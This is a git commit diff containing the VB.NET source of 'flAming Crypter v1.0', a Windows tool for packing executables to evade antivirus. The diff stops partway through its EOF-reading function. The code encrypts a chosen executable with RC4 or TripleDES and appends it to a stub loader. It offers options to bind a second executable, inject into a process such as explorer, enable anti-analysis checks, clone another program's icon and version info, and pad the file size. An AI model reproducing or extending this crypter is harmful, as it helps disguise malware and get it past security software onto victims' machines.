initial commit
This commit is contained in:
i2p
Binary file not shown.
|
After Width: | Height: | Size: 83 KiB |
@@ -0,0 +1,26 @@
|
||||
Imports System.Text
|
||||
Imports System.Security.Cryptography
|
||||
|
||||
Public Class _3des
|
||||
Public Shared Function Encrypt(ByVal toEncrypt As String, ByVal key As String, ByVal useHashing As Boolean) As String
|
||||
Dim keyArray As Byte()
|
||||
Dim toEncryptArray As Byte() = UTF8Encoding.UTF8.GetBytes(toEncrypt)
|
||||
|
||||
If useHashing Then
|
||||
Dim hashmd5 As New MD5CryptoServiceProvider()
|
||||
keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(key))
|
||||
Else
|
||||
keyArray = UTF8Encoding.UTF8.GetBytes(key)
|
||||
End If
|
||||
|
||||
Dim tdes As New TripleDESCryptoServiceProvider()
|
||||
tdes.Key = keyArray
|
||||
tdes.Mode = CipherMode.ECB
|
||||
tdes.Padding = PaddingMode.PKCS7
|
||||
|
||||
Dim cTransform As ICryptoTransform = tdes.CreateEncryptor()
|
||||
Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length)
|
||||
|
||||
Return Convert.ToBase64String(resultArray, 0, resultArray.Length)
|
||||
End Function
|
||||
End Class
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 26 KiB |
+422
@@ -0,0 +1,422 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Form1
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1))
|
||||
Me.TextFile = New System.Windows.Forms.TextBox
|
||||
Me.BtnBrowse = New System.Windows.Forms.Button
|
||||
Me.BtnCtypt = New System.Windows.Forms.Button
|
||||
Me.OpenFileDialog1 = New System.Windows.Forms.OpenFileDialog
|
||||
Me.CheckIcon = New System.Windows.Forms.CheckBox
|
||||
Me.TextIcon = New System.Windows.Forms.TextBox
|
||||
Me.BtnIcon = New System.Windows.Forms.Button
|
||||
Me.CheckClone = New System.Windows.Forms.CheckBox
|
||||
Me.TextClone = New System.Windows.Forms.TextBox
|
||||
Me.BtnClone = New System.Windows.Forms.Button
|
||||
Me.Label1 = New System.Windows.Forms.Label
|
||||
Me.TextEnc = New System.Windows.Forms.TextBox
|
||||
Me.Label2 = New System.Windows.Forms.Label
|
||||
Me.GroupBox1 = New System.Windows.Forms.GroupBox
|
||||
Me.GroupBox2 = New System.Windows.Forms.GroupBox
|
||||
Me.CheckDES = New System.Windows.Forms.RadioButton
|
||||
Me.CheckRC4 = New System.Windows.Forms.RadioButton
|
||||
Me.GroupBox3 = New System.Windows.Forms.GroupBox
|
||||
Me.CheckBox1 = New System.Windows.Forms.CheckBox
|
||||
Me.TextBytes = New System.Windows.Forms.TextBox
|
||||
Me.CheckBytes = New System.Windows.Forms.CheckBox
|
||||
Me.TextProc = New System.Windows.Forms.TextBox
|
||||
Me.CheckInject = New System.Windows.Forms.CheckBox
|
||||
Me.CheckAntis = New System.Windows.Forms.CheckBox
|
||||
Me.GroupBox4 = New System.Windows.Forms.GroupBox
|
||||
Me.BtnBind = New System.Windows.Forms.Button
|
||||
Me.TextBind = New System.Windows.Forms.TextBox
|
||||
Me.CheckBind = New System.Windows.Forms.CheckBox
|
||||
Me.TextBox1 = New System.Windows.Forms.TextBox
|
||||
Me.GroupBox1.SuspendLayout()
|
||||
Me.GroupBox2.SuspendLayout()
|
||||
Me.GroupBox3.SuspendLayout()
|
||||
Me.GroupBox4.SuspendLayout()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'TextFile
|
||||
'
|
||||
Me.TextFile.Location = New System.Drawing.Point(23, 53)
|
||||
Me.TextFile.Name = "TextFile"
|
||||
Me.TextFile.Size = New System.Drawing.Size(237, 20)
|
||||
Me.TextFile.TabIndex = 0
|
||||
'
|
||||
'BtnBrowse
|
||||
'
|
||||
Me.BtnBrowse.ForeColor = System.Drawing.Color.Black
|
||||
Me.BtnBrowse.Location = New System.Drawing.Point(274, 53)
|
||||
Me.BtnBrowse.Name = "BtnBrowse"
|
||||
Me.BtnBrowse.Size = New System.Drawing.Size(47, 20)
|
||||
Me.BtnBrowse.TabIndex = 1
|
||||
Me.BtnBrowse.Text = "..."
|
||||
Me.BtnBrowse.UseVisualStyleBackColor = True
|
||||
'
|
||||
'BtnCtypt
|
||||
'
|
||||
Me.BtnCtypt.Location = New System.Drawing.Point(611, 286)
|
||||
Me.BtnCtypt.Name = "BtnCtypt"
|
||||
Me.BtnCtypt.Size = New System.Drawing.Size(77, 50)
|
||||
Me.BtnCtypt.TabIndex = 2
|
||||
Me.BtnCtypt.Text = "Crypt"
|
||||
Me.BtnCtypt.UseVisualStyleBackColor = True
|
||||
'
|
||||
'OpenFileDialog1
|
||||
'
|
||||
Me.OpenFileDialog1.FileName = "OpenFileDialog1"
|
||||
'
|
||||
'CheckIcon
|
||||
'
|
||||
Me.CheckIcon.AutoSize = True
|
||||
Me.CheckIcon.BackColor = System.Drawing.Color.Transparent
|
||||
Me.CheckIcon.ForeColor = System.Drawing.Color.White
|
||||
Me.CheckIcon.Location = New System.Drawing.Point(21, 92)
|
||||
Me.CheckIcon.Name = "CheckIcon"
|
||||
Me.CheckIcon.Size = New System.Drawing.Size(87, 17)
|
||||
Me.CheckIcon.TabIndex = 4
|
||||
Me.CheckIcon.Text = "Change Icon"
|
||||
Me.CheckIcon.UseVisualStyleBackColor = False
|
||||
'
|
||||
'TextIcon
|
||||
'
|
||||
Me.TextIcon.Location = New System.Drawing.Point(20, 115)
|
||||
Me.TextIcon.Name = "TextIcon"
|
||||
Me.TextIcon.Size = New System.Drawing.Size(237, 20)
|
||||
Me.TextIcon.TabIndex = 6
|
||||
'
|
||||
'BtnIcon
|
||||
'
|
||||
Me.BtnIcon.Enabled = False
|
||||
Me.BtnIcon.ForeColor = System.Drawing.Color.Black
|
||||
Me.BtnIcon.Location = New System.Drawing.Point(273, 115)
|
||||
Me.BtnIcon.Name = "BtnIcon"
|
||||
Me.BtnIcon.Size = New System.Drawing.Size(45, 19)
|
||||
Me.BtnIcon.TabIndex = 8
|
||||
Me.BtnIcon.Text = "..."
|
||||
Me.BtnIcon.UseVisualStyleBackColor = True
|
||||
'
|
||||
'CheckClone
|
||||
'
|
||||
Me.CheckClone.AutoSize = True
|
||||
Me.CheckClone.BackColor = System.Drawing.Color.Transparent
|
||||
Me.CheckClone.ForeColor = System.Drawing.Color.White
|
||||
Me.CheckClone.Location = New System.Drawing.Point(21, 30)
|
||||
Me.CheckClone.Name = "CheckClone"
|
||||
Me.CheckClone.Size = New System.Drawing.Size(91, 17)
|
||||
Me.CheckClone.TabIndex = 10
|
||||
Me.CheckClone.Text = "Clone with file"
|
||||
Me.CheckClone.UseVisualStyleBackColor = False
|
||||
'
|
||||
'TextClone
|
||||
'
|
||||
Me.TextClone.Location = New System.Drawing.Point(21, 53)
|
||||
Me.TextClone.Name = "TextClone"
|
||||
Me.TextClone.Size = New System.Drawing.Size(234, 20)
|
||||
Me.TextClone.TabIndex = 11
|
||||
'
|
||||
'BtnClone
|
||||
'
|
||||
Me.BtnClone.Enabled = False
|
||||
Me.BtnClone.ForeColor = System.Drawing.Color.Black
|
||||
Me.BtnClone.Location = New System.Drawing.Point(273, 53)
|
||||
Me.BtnClone.Name = "BtnClone"
|
||||
Me.BtnClone.Size = New System.Drawing.Size(46, 19)
|
||||
Me.BtnClone.TabIndex = 12
|
||||
Me.BtnClone.Text = "..."
|
||||
Me.BtnClone.UseVisualStyleBackColor = True
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Me.Label1.AutoSize = True
|
||||
Me.Label1.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Label1.ForeColor = System.Drawing.Color.White
|
||||
Me.Label1.Location = New System.Drawing.Point(20, 28)
|
||||
Me.Label1.Name = "Label1"
|
||||
Me.Label1.Size = New System.Drawing.Size(67, 13)
|
||||
Me.Label1.TabIndex = 13
|
||||
Me.Label1.Text = "File to crypt :"
|
||||
'
|
||||
'TextEnc
|
||||
'
|
||||
Me.TextEnc.Location = New System.Drawing.Point(120, 53)
|
||||
Me.TextEnc.Name = "TextEnc"
|
||||
Me.TextEnc.Size = New System.Drawing.Size(73, 20)
|
||||
Me.TextEnc.TabIndex = 14
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Me.Label2.AutoSize = True
|
||||
Me.Label2.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Label2.ForeColor = System.Drawing.Color.White
|
||||
Me.Label2.Location = New System.Drawing.Point(14, 57)
|
||||
Me.Label2.Name = "Label2"
|
||||
Me.Label2.Size = New System.Drawing.Size(83, 13)
|
||||
Me.Label2.TabIndex = 15
|
||||
Me.Label2.Text = "Encryption key :"
|
||||
'
|
||||
'GroupBox1
|
||||
'
|
||||
Me.GroupBox1.BackColor = System.Drawing.Color.Transparent
|
||||
Me.GroupBox1.Controls.Add(Me.Label1)
|
||||
Me.GroupBox1.Controls.Add(Me.TextFile)
|
||||
Me.GroupBox1.Controls.Add(Me.BtnBrowse)
|
||||
Me.GroupBox1.ForeColor = System.Drawing.Color.White
|
||||
Me.GroupBox1.Location = New System.Drawing.Point(12, 12)
|
||||
Me.GroupBox1.Name = "GroupBox1"
|
||||
Me.GroupBox1.Size = New System.Drawing.Size(335, 91)
|
||||
Me.GroupBox1.TabIndex = 18
|
||||
Me.GroupBox1.TabStop = False
|
||||
Me.GroupBox1.Text = "File :"
|
||||
'
|
||||
'GroupBox2
|
||||
'
|
||||
Me.GroupBox2.BackColor = System.Drawing.Color.Transparent
|
||||
Me.GroupBox2.Controls.Add(Me.CheckDES)
|
||||
Me.GroupBox2.Controls.Add(Me.CheckRC4)
|
||||
Me.GroupBox2.Controls.Add(Me.TextEnc)
|
||||
Me.GroupBox2.Controls.Add(Me.Label2)
|
||||
Me.GroupBox2.ForeColor = System.Drawing.Color.White
|
||||
Me.GroupBox2.Location = New System.Drawing.Point(354, 245)
|
||||
Me.GroupBox2.Name = "GroupBox2"
|
||||
Me.GroupBox2.Size = New System.Drawing.Size(217, 91)
|
||||
Me.GroupBox2.TabIndex = 19
|
||||
Me.GroupBox2.TabStop = False
|
||||
Me.GroupBox2.Text = "Encryption :"
|
||||
'
|
||||
'CheckDES
|
||||
'
|
||||
Me.CheckDES.AutoSize = True
|
||||
Me.CheckDES.Location = New System.Drawing.Point(120, 21)
|
||||
Me.CheckDES.Name = "CheckDES"
|
||||
Me.CheckDES.Size = New System.Drawing.Size(73, 17)
|
||||
Me.CheckDES.TabIndex = 17
|
||||
Me.CheckDES.Text = "TripleDES"
|
||||
Me.CheckDES.UseVisualStyleBackColor = True
|
||||
'
|
||||
'CheckRC4
|
||||
'
|
||||
Me.CheckRC4.AutoSize = True
|
||||
Me.CheckRC4.Checked = True
|
||||
Me.CheckRC4.Location = New System.Drawing.Point(17, 23)
|
||||
Me.CheckRC4.Name = "CheckRC4"
|
||||
Me.CheckRC4.Size = New System.Drawing.Size(46, 17)
|
||||
Me.CheckRC4.TabIndex = 16
|
||||
Me.CheckRC4.TabStop = True
|
||||
Me.CheckRC4.Text = "RC4"
|
||||
Me.CheckRC4.UseVisualStyleBackColor = True
|
||||
'
|
||||
'GroupBox3
|
||||
'
|
||||
Me.GroupBox3.BackColor = System.Drawing.Color.Transparent
|
||||
Me.GroupBox3.Controls.Add(Me.CheckBox1)
|
||||
Me.GroupBox3.Controls.Add(Me.TextBytes)
|
||||
Me.GroupBox3.Controls.Add(Me.CheckBytes)
|
||||
Me.GroupBox3.Controls.Add(Me.TextProc)
|
||||
Me.GroupBox3.Controls.Add(Me.CheckInject)
|
||||
Me.GroupBox3.Controls.Add(Me.CheckAntis)
|
||||
Me.GroupBox3.ForeColor = System.Drawing.Color.White
|
||||
Me.GroupBox3.Location = New System.Drawing.Point(354, 109)
|
||||
Me.GroupBox3.Name = "GroupBox3"
|
||||
Me.GroupBox3.Size = New System.Drawing.Size(334, 125)
|
||||
Me.GroupBox3.TabIndex = 20
|
||||
Me.GroupBox3.TabStop = False
|
||||
Me.GroupBox3.Text = "Others :"
|
||||
'
|
||||
'CheckBox1
|
||||
'
|
||||
Me.CheckBox1.AutoSize = True
|
||||
Me.CheckBox1.Location = New System.Drawing.Point(120, 19)
|
||||
Me.CheckBox1.Name = "CheckBox1"
|
||||
Me.CheckBox1.Size = New System.Drawing.Size(108, 17)
|
||||
Me.CheckBox1.TabIndex = 5
|
||||
Me.CheckBox1.Text = "EOF (End Of File)"
|
||||
Me.CheckBox1.UseVisualStyleBackColor = True
|
||||
'
|
||||
'TextBytes
|
||||
'
|
||||
Me.TextBytes.Location = New System.Drawing.Point(174, 90)
|
||||
Me.TextBytes.Name = "TextBytes"
|
||||
Me.TextBytes.Size = New System.Drawing.Size(140, 20)
|
||||
Me.TextBytes.TabIndex = 4
|
||||
Me.TextBytes.Text = "5"
|
||||
'
|
||||
'CheckBytes
|
||||
'
|
||||
Me.CheckBytes.AutoSize = True
|
||||
Me.CheckBytes.Location = New System.Drawing.Point(21, 92)
|
||||
Me.CheckBytes.Name = "CheckBytes"
|
||||
Me.CheckBytes.Size = New System.Drawing.Size(96, 17)
|
||||
Me.CheckBytes.TabIndex = 3
|
||||
Me.CheckBytes.Text = "Add bytes (mb)"
|
||||
Me.CheckBytes.UseVisualStyleBackColor = True
|
||||
'
|
||||
'TextProc
|
||||
'
|
||||
Me.TextProc.Location = New System.Drawing.Point(174, 53)
|
||||
Me.TextProc.Name = "TextProc"
|
||||
Me.TextProc.Size = New System.Drawing.Size(141, 20)
|
||||
Me.TextProc.TabIndex = 2
|
||||
Me.TextProc.Text = "explorer"
|
||||
'
|
||||
'CheckInject
|
||||
'
|
||||
Me.CheckInject.AutoSize = True
|
||||
Me.CheckInject.Location = New System.Drawing.Point(19, 56)
|
||||
Me.CheckInject.Name = "CheckInject"
|
||||
Me.CheckInject.Size = New System.Drawing.Size(149, 17)
|
||||
Me.CheckInject.TabIndex = 1
|
||||
Me.CheckInject.Text = "Custom process injection :"
|
||||
Me.CheckInject.UseVisualStyleBackColor = True
|
||||
'
|
||||
'CheckAntis
|
||||
'
|
||||
Me.CheckAntis.AutoSize = True
|
||||
Me.CheckAntis.Location = New System.Drawing.Point(19, 19)
|
||||
Me.CheckAntis.Name = "CheckAntis"
|
||||
Me.CheckAntis.Size = New System.Drawing.Size(87, 17)
|
||||
Me.CheckAntis.TabIndex = 0
|
||||
Me.CheckAntis.Text = "Enable Anti's"
|
||||
Me.CheckAntis.UseVisualStyleBackColor = True
|
||||
'
|
||||
'GroupBox4
|
||||
'
|
||||
Me.GroupBox4.BackColor = System.Drawing.Color.Transparent
|
||||
Me.GroupBox4.Controls.Add(Me.BtnBind)
|
||||
Me.GroupBox4.Controls.Add(Me.TextBind)
|
||||
Me.GroupBox4.Controls.Add(Me.CheckBind)
|
||||
Me.GroupBox4.Controls.Add(Me.CheckClone)
|
||||
Me.GroupBox4.Controls.Add(Me.TextClone)
|
||||
Me.GroupBox4.Controls.Add(Me.BtnClone)
|
||||
Me.GroupBox4.Controls.Add(Me.BtnIcon)
|
||||
Me.GroupBox4.Controls.Add(Me.CheckIcon)
|
||||
Me.GroupBox4.Controls.Add(Me.TextIcon)
|
||||
Me.GroupBox4.ForeColor = System.Drawing.Color.White
|
||||
Me.GroupBox4.Location = New System.Drawing.Point(12, 109)
|
||||
Me.GroupBox4.Name = "GroupBox4"
|
||||
Me.GroupBox4.Size = New System.Drawing.Size(335, 227)
|
||||
Me.GroupBox4.TabIndex = 21
|
||||
Me.GroupBox4.TabStop = False
|
||||
Me.GroupBox4.Text = "Options :"
|
||||
'
|
||||
'BtnBind
|
||||
'
|
||||
Me.BtnBind.Enabled = False
|
||||
Me.BtnBind.ForeColor = System.Drawing.Color.Black
|
||||
Me.BtnBind.Location = New System.Drawing.Point(272, 180)
|
||||
Me.BtnBind.Name = "BtnBind"
|
||||
Me.BtnBind.Size = New System.Drawing.Size(44, 19)
|
||||
Me.BtnBind.TabIndex = 15
|
||||
Me.BtnBind.Text = "..."
|
||||
Me.BtnBind.UseVisualStyleBackColor = True
|
||||
'
|
||||
'TextBind
|
||||
'
|
||||
Me.TextBind.Location = New System.Drawing.Point(20, 179)
|
||||
Me.TextBind.Name = "TextBind"
|
||||
Me.TextBind.Size = New System.Drawing.Size(236, 20)
|
||||
Me.TextBind.TabIndex = 14
|
||||
'
|
||||
'CheckBind
|
||||
'
|
||||
Me.CheckBind.AutoSize = True
|
||||
Me.CheckBind.Location = New System.Drawing.Point(21, 156)
|
||||
Me.CheckBind.Name = "CheckBind"
|
||||
Me.CheckBind.Size = New System.Drawing.Size(85, 17)
|
||||
Me.CheckBind.TabIndex = 13
|
||||
Me.CheckBind.Text = "Bind with file"
|
||||
Me.CheckBind.UseVisualStyleBackColor = True
|
||||
'
|
||||
'TextBox1
|
||||
'
|
||||
Me.TextBox1.Location = New System.Drawing.Point(570, 83)
|
||||
Me.TextBox1.Name = "TextBox1"
|
||||
Me.TextBox1.Size = New System.Drawing.Size(12, 20)
|
||||
Me.TextBox1.TabIndex = 22
|
||||
Me.TextBox1.Visible = False
|
||||
'
|
||||
'Form1
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.BackgroundImage = CType(resources.GetObject("$this.BackgroundImage"), System.Drawing.Image)
|
||||
Me.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center
|
||||
Me.ClientSize = New System.Drawing.Size(696, 347)
|
||||
Me.Controls.Add(Me.TextBox1)
|
||||
Me.Controls.Add(Me.GroupBox4)
|
||||
Me.Controls.Add(Me.GroupBox3)
|
||||
Me.Controls.Add(Me.GroupBox2)
|
||||
Me.Controls.Add(Me.GroupBox1)
|
||||
Me.Controls.Add(Me.BtnCtypt)
|
||||
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
|
||||
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Me.MaximizeBox = False
|
||||
Me.MaximumSize = New System.Drawing.Size(702, 379)
|
||||
Me.Name = "Form1"
|
||||
Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
|
||||
Me.Text = "flAming Crypter v1.0 - Made by: flAmingw0rm"
|
||||
Me.GroupBox1.ResumeLayout(False)
|
||||
Me.GroupBox1.PerformLayout()
|
||||
Me.GroupBox2.ResumeLayout(False)
|
||||
Me.GroupBox2.PerformLayout()
|
||||
Me.GroupBox3.ResumeLayout(False)
|
||||
Me.GroupBox3.PerformLayout()
|
||||
Me.GroupBox4.ResumeLayout(False)
|
||||
Me.GroupBox4.PerformLayout()
|
||||
Me.ResumeLayout(False)
|
||||
Me.PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents TextFile As System.Windows.Forms.TextBox
|
||||
Friend WithEvents BtnBrowse As System.Windows.Forms.Button
|
||||
Friend WithEvents BtnCtypt As System.Windows.Forms.Button
|
||||
Friend WithEvents OpenFileDialog1 As System.Windows.Forms.OpenFileDialog
|
||||
Friend WithEvents CheckIcon As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents TextIcon As System.Windows.Forms.TextBox
|
||||
Friend WithEvents BtnIcon As System.Windows.Forms.Button
|
||||
Friend WithEvents CheckClone As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents TextClone As System.Windows.Forms.TextBox
|
||||
Friend WithEvents BtnClone As System.Windows.Forms.Button
|
||||
Friend WithEvents Label1 As System.Windows.Forms.Label
|
||||
Friend WithEvents TextEnc As System.Windows.Forms.TextBox
|
||||
Friend WithEvents Label2 As System.Windows.Forms.Label
|
||||
Friend WithEvents GroupBox1 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents GroupBox2 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents CheckDES As System.Windows.Forms.RadioButton
|
||||
Friend WithEvents CheckRC4 As System.Windows.Forms.RadioButton
|
||||
Friend WithEvents GroupBox3 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents CheckAntis As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents GroupBox4 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents BtnBind As System.Windows.Forms.Button
|
||||
Friend WithEvents TextBind As System.Windows.Forms.TextBox
|
||||
Friend WithEvents CheckBind As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents TextProc As System.Windows.Forms.TextBox
|
||||
Friend WithEvents CheckInject As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents TextBytes As System.Windows.Forms.TextBox
|
||||
Friend WithEvents CheckBytes As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents CheckBox1 As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
|
||||
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,293 @@
|
||||
Imports System.IO
|
||||
Imports System.Text
|
||||
|
||||
Public Class Form1
|
||||
Dim ifile, res, enctype, antis, processZ, cfile, bfile, b1file, iSbinded As String
|
||||
Dim output As String = Application.StartupPath + "\done.exe"
|
||||
Dim Stub As String = Application.StartupPath + "\winini.exe"
|
||||
|
||||
|
||||
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnCtypt.Click
|
||||
If TextFile.Text = "" Then
|
||||
MsgBox("Select a file to crypt.", MsgBoxStyle.Information, "Select a file")
|
||||
Exit Sub
|
||||
End If
|
||||
|
||||
If File.Exists(output) Then
|
||||
Kill(output)
|
||||
End If
|
||||
|
||||
File.Copy(Application.StartupPath + "\res\winini.exe", Stub)
|
||||
|
||||
If CheckAntis.Checked Then
|
||||
antis = "true"
|
||||
Else
|
||||
antis = "false"
|
||||
End If
|
||||
|
||||
If CheckInject.Checked Then
|
||||
processZ = TextProc.Text
|
||||
Else
|
||||
processZ = "own"
|
||||
End If
|
||||
|
||||
If CheckIcon.Checked = True Then
|
||||
If TextIcon.Text = "" Then
|
||||
MsgBox("Select an icon.", MsgBoxStyle.Information, "Select an icon")
|
||||
Exit Sub
|
||||
End If
|
||||
Else
|
||||
Call IconIt(TextIcon.Text)
|
||||
End If
|
||||
|
||||
If CheckClone.Checked = True Then
|
||||
If TextClone.Text = "" Then
|
||||
MsgBox("Select a file to clone with..", MsgBoxStyle.Information, "Clone")
|
||||
Exit Sub
|
||||
End If
|
||||
Else
|
||||
Call CloneIt(TextClone.Text)
|
||||
End If
|
||||
|
||||
Call cit()
|
||||
|
||||
File.Delete(Stub)
|
||||
|
||||
TextBox1.Text = ReadEOFData(TextFile.Text)
|
||||
|
||||
If CheckBox1.Checked = True Then
|
||||
ReadEOFData(TextFile.Text)
|
||||
WriteEOFData(output, TextBox1.Text)
|
||||
End If
|
||||
|
||||
If CheckBytes.Checked Then
|
||||
Dim file1 = File.OpenWrite(Application.StartupPath + "\done.exe")
|
||||
Dim siza = file1.Seek(0, SeekOrigin.[End])
|
||||
Dim size = Convert.ToInt32(TextBytes.Text)
|
||||
Dim bite As Decimal = size * 1048576
|
||||
While siza < bite
|
||||
siza += 1
|
||||
file1.WriteByte(0)
|
||||
End While
|
||||
file1.Close()
|
||||
End If
|
||||
MsgBox("File Crypted Succesfully", MsgBoxStyle.Information, "Success")
|
||||
End Sub
|
||||
|
||||
Private Sub IconIt(ByVal SourceIcon As String)
|
||||
Shell(App_Path() & "res\\res.exe -addoverwrite " & Stub & ", " & Stub & ", " & SourceIcon & ", " & "icongroup, 1,0")
|
||||
End Sub
|
||||
Private Sub CloneIt(ByVal SourceFile As String)
|
||||
Shell(App_Path() & "res\\res.exe -extract " & SourceFile & "," & App_Path() & "res\\info.res" & ",VERSIONINFO,,")
|
||||
Shell(App_Path() & "res\\res.exe -delete " & Stub & "," & App_Path() + "res\\res.exe" & ",VERSIONINFO,,")
|
||||
Shell(App_Path() & "res\\res.exe -addoverwrite " & Stub & "," & Stub & "," & App_Path() & "res\\info.res" & ",VERSIONINFO,1,")
|
||||
End Sub
|
||||
Public Function App_Path() As String
|
||||
Return System.AppDomain.CurrentDomain.BaseDirectory()
|
||||
End Function
|
||||
|
||||
Private Sub cit()
|
||||
Dim key As String = TextEnc.Text
|
||||
Dim Cut As String = "/Assembly/"
|
||||
'get stub
|
||||
FileOpen(1, Stub, OpenMode.Binary)
|
||||
res = Space(LOF(1))
|
||||
FileGet(1, res)
|
||||
FileClose(1)
|
||||
|
||||
'get file to crypt
|
||||
FileOpen(1, (TextFile.Text), OpenMode.Binary)
|
||||
ifile = Space(LOF(1))
|
||||
FileGet(1, ifile)
|
||||
FileClose(1)
|
||||
|
||||
'get file to bind
|
||||
If CheckBind.Checked Then
|
||||
iSbinded = "yes"
|
||||
FileOpen(1, (TextBind.Text), OpenMode.Binary)
|
||||
bfile = Space(LOF(1))
|
||||
FileGet(1, bfile)
|
||||
FileClose(1)
|
||||
b1file = bfile
|
||||
If CheckDES.Checked Then
|
||||
b1file = _3des.Encrypt(bfile, key, True)
|
||||
ElseIf CheckRC4.Checked Then
|
||||
b1file = rc4.rc4(bfile, key)
|
||||
End If
|
||||
End If
|
||||
|
||||
cfile = ifile
|
||||
If CheckDES.Checked Then
|
||||
enctype = "tripleDES"
|
||||
cfile = _3des.Encrypt(ifile, key, True)
|
||||
ElseIf CheckRC4.Checked Then
|
||||
enctype = "rc4"
|
||||
cfile = rc4.rc4(ifile, key)
|
||||
End If
|
||||
|
||||
FileOpen(1, output, OpenMode.Binary)
|
||||
FilePut(1, res)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, cfile)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, key)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, enctype)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, antis)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, processZ)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, iSbinded)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, b1file)
|
||||
FilePut(1, Cut)
|
||||
FileClose(1)
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnBrowse.Click
|
||||
With OpenFileDialog1
|
||||
.FileName = ""
|
||||
.Filter = "Executable(*.exe)|*.exe"
|
||||
.ShowDialog()
|
||||
TextFile.Text = .FileName
|
||||
ifile = TextFile.Text
|
||||
End With
|
||||
End Sub
|
||||
|
||||
Private Sub BtnIcon_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnIcon.Click
|
||||
With OpenFileDialog1
|
||||
.FileName = ""
|
||||
.Filter = "Icons(*.ico)|*.ico"
|
||||
.ShowDialog()
|
||||
TextIcon.Text = .FileName
|
||||
End With
|
||||
End Sub
|
||||
|
||||
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||
Dim myfkey As String = GetRandom.ToString
|
||||
TextEnc.Text = myfkey
|
||||
CreateObject("SAPI.SpVoice").Speak("Welcome to flAming Crypter")
|
||||
End Sub
|
||||
|
||||
Public Function RandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer
|
||||
Dim random As New Random()
|
||||
Return random.Next(min, max)
|
||||
End Function
|
||||
|
||||
Public Function RandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String
|
||||
Dim builder As New StringBuilder()
|
||||
Dim random As New Random()
|
||||
Dim ch As Char
|
||||
Dim i As Integer
|
||||
For i = 0 To size - 1
|
||||
ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65)))
|
||||
builder.Append(ch)
|
||||
Next i
|
||||
If lowerCase Then
|
||||
Return builder.ToString().ToLower()
|
||||
End If
|
||||
Return builder.ToString()
|
||||
End Function
|
||||
|
||||
Public Function GetRandom() As String
|
||||
Dim builder As New StringBuilder()
|
||||
builder.Append(RandomString(4, True))
|
||||
builder.Append(RandomNumber(1000, 9999))
|
||||
builder.Append(RandomString(2, False))
|
||||
Return builder.ToString()
|
||||
End Function
|
||||
|
||||
|
||||
Private Sub BtnClone_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnClone.Click
|
||||
With OpenFileDialog1
|
||||
.FileName = ""
|
||||
.Filter = "Executable(*.exe)|*.exe"
|
||||
.ShowDialog()
|
||||
TextClone.Text = .FileName
|
||||
End With
|
||||
End Sub
|
||||
|
||||
Private Sub BtnBind_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnBind.Click
|
||||
With OpenFileDialog1
|
||||
.FileName = ""
|
||||
.Filter = "Executable(*.exe)|*.exe"
|
||||
.ShowDialog()
|
||||
TextBind.Text = .FileName
|
||||
End With
|
||||
End Sub
|
||||
|
||||
Public Function ReadEOFData(ByRef FilePath As String) As String
|
||||
On Error GoTo Err_Renamed
|
||||
